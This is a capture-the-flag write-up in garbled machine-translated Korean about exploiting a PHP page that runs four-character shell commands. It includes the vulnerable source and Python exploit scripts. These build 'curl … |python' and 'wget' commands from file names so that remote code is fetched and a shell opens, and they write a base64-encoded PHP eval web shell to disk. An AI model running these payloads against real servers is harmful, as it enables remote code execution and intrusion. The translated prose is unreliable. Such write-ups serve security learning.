0x01로 소스
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
여기에 직접 방출 페이로드
import requests
from urllib import quote
payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
'>rev',
'*v>x',
# 生成命令 "curl orange.tw|python;"
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>29\\',
'>1\\',
'>0.\\',
'>13\\',
'>8.\\',
'>16\\',
'>2.\\',
'>19\\',
'>\ \\',
'>rl\\',
'>cu\\',
# getshell
'sh x',
'sh g',
]
r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
dir
명령 및 여기에 사용 된 것처럼이 이유dir
때문이다ls
출력이 사전에 배치되고, 그것은 사용되는dir
첫 번째 행 (A) 내에*
명령은 현재 디렉토리가 수행하는 명령으로 파일이 봉합되어
다음 해당 수행dir 'g>' ht- rev sl
이 문서의 출력은,
실행 된 해당 아래dir
여기에있는 모든 파일의 출력 만하는 것은 일치하기 위해 실시 된dir
명령 파일을
우리가 실행 그래서 *>v
,에 대한 v 파일의 내용 그래서 g> ht- sl
우리는 실행> 레브 레브 파일 이름을 생성
한 후, * V는 레브 V의 구현에 해당 실행 거꾸로 그 안에 같은 파일 내용을 V 및 제작 g> ht- sl
받는 변경ls -th >g
-
파일 이름이 수 없습니다
.
내가 ubuntu18.04에있어,이 문제의 버전 일 수 있습니다, 시작이 가능합니다 -
파일의 이름을 참고 반복 할 수 없다
-
논리적으로,
>ls\\\\
의 이름을 생성하기 위해ls\
파일, I ubuntu18.04이 php7와 PHP5, 아파치가 성공을 재현하지 않지만 작성자 만 필요 이상으로 기록 \ 철저하게 이해하지 못했다, 오빠는 조언을 얻을하시기 바랍니다
당신은 다른 페이로드를 참조 할 수 있습니다
import requests
def exec_sub(cmd):
resp = requests.post("http://52.199.204.34/?cmd="+cmd).text
def exec(cmd):
for x in cmd:
print(x)
if cmd[-1]==x:
exec_sub(">%s" % x)
exec_sub("ls>>\\")
exec_sub("rm %s" % x)
elif x==" ":
exec_sub(">\\ \\")
exec_sub("ls>>\\")
exec_sub("rm ?\\")
else:
exec_sub(">%s\\" % x)
exec_sub("ls>>\\")
exec_sub("rm %s\\" % x)
exec_sub("sh \\")
exec("wget 1759614952")
여기에 직접 IP 소수점을 대체 적발에
내가 재현 할 때, 나는 소수 wget과의 로컬 127.0.0.1, 127.0.0.1에 반등 쉘에 직접 쓰기하지만 데이터를 반환하지에 시간을 발견, 나는 다시 넣어 VPS에,이 꽤 그것이 얼마나 이해하지 또한, 반환 된 데이터에서 발견 된 큰 형님의 조언을 얻을 수 기쁘게 할 수 있습니다 ~
또한, 우리는 또한 단어에 직접 쓸 수 있습니다
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
그러나 우리는주의 할 필요가 우리가 다른 문자로 대체 공간에 해당해야합니다 있도록 두 개의 공백이 있다는 것입니다
그래서를 :
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
유효 탑재량:
#!/usr/bin/python
# ‐*‐ coding: UTF‐8 ‐*‐
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
또한이 문제는 또한 데이터베이스에서 데이터를 읽을 필요하지만이 파일에 결과를 저장, 어떤 방법 테이크 아웃을 사용하고 파일 데이터 콘텐츠에 액세스 얻을 수 있도록 데이터베이스, 에코하지 않습니다
https://www.jianshu.com을 / P / 5aad993c793e
여기에 다른 방법의 수, 혜택을 소개합니다 ~~